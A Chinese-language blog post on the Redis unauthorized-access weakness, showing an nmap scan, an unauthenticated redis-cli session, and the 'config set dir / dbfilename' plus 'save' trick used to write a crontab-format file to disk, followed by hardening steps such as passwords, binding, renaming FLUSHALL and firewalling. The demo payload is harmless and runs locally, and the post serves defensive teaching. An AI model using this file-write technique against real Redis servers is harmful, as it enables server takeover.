Redis未授权访问漏洞的利用和防护

Redis简介

redis是一个开源的内存中的数据结构存储系统,可以用于数据库,缓存和消息的中间件。
企业中的应用非常的广泛。

漏洞简介

redis未配置授权导致可以被攻击者恶意利用,redis并不像关系型数据库那样有账户授权体系。

如果未正确配置密码将会被攻击者随意操作数据

在特定情况下当redis运行于root身份下时,攻击者可以通过redis内置命令save(将所有数据快照以rdb文件的形式保存到硬盘)将ssh公钥文件写入,将会导致服务器直接被攻击者登录,带来的后果可想而知

攻击方法

端口扫描redis服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ nmap -A -p 6379 -script redis-info 127.0.0.1
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-11 20:54 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00023s latency).
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.3 (64 bits)
| redis-info:
| Version: 5.0.3
| Operating System: Darwin 18.6.0 x86_64
| Architecture: 64 bits
| Process ID: 380
| Used CPU (sys): 85.100232
| Used CPU (user): 52.002794
| Connected clients: 1
| Connected slaves: 0
| Used memory: 1.01M
| Role: master
| Bind addresses:
| 127.0.0.1
| Client connections:
|_ 127.0.0.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds

通过端口扫描可以看到大量服务器信息,基本可以断定这个机器上6379端口用于redis

测试登录redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ redis-cli -h 127.0.0.1
127.0.0.1:6379> info
# Server
redis_version:5.0.3
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:457be8ba4fa3e51f
redis_mode:standalone
os:Darwin 18.6.0 x86_64
arch_bits:64
multiplexing_api:kqueue
atomicvar_api:atomic-builtin
gcc_version:4.2.1
process_id:380
run_id:d8fd8f3fe2591d0870c8aada96d927f348099b3b
tcp_port:6379
uptime_in_seconds:1268415
uptime_in_days:14
hz:10
configured_hz:10
lru_clock:12143511

发现可以登录,执行info以看到大量的敏感信息,并且可以任意操作数据,如FLUSHALL,FLUSHDB这是非常危险的两个命令
redis的相关命令可以查看官方文档https://redis.io/topics/rediscli

测试写入crontab

由于我这里是mac不适合这类测试,我就直接写入一个文件,相信熟悉linux的都知道保存到/var/spool/cron下即可

1
2
3
4
5
6
7
8
9
$ redis-cli
127.0.0.1:6379> set test "\n\n*/1 * * * * /bin/bash echo 11 \n\n"
OK
127.0.0.1:6379> config set dir /tmp
OK
127.0.0.1:6379> config set dbfilename test.sh
OK
127.0.0.1:6379> save
OK

可以看到我们执行成功了,来看一下写入的文件内容


可以看到里面有标准的crontab格式,还有redis的标识这有利于我们去判断是否被攻击着通过redis的漏洞进来的

如何防护

通过能够写入自定义文件可以看出攻击者对于有该漏洞的服务器可利用性非常高,如 写入webshell,挖矿脚本,shell反弹等

redis配置文档https://www.redis.net.cn/tutorial/3504.html

作为一名运维人员,必须要学会如何去做好防护和记录留存

  • 配置文件
1
2
3
4
5
6
7
8
9
10
# 配置日志文件
logfile”/usr/local/redis/redis.log”
# 配置日志级别
loglevel verbose
# 配置密码
requirepass foobared
# 配置监听地址,不允许外网访问
bind 127.0.0.1
# 修改默认端口
port 6379
  • 禁止一些高危命令
1
2
rename-command FLUSHALL xx
rename-command FLUSHDB xx
  • 修改运行用户

用户不能有登录权限,仅拥有redis数据目录权限

  • 开启防火墙
  • 对于ssh公钥,用户,密码等文件进行锁定
  • 安装基础监控,对于异常连接及时黑名单

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器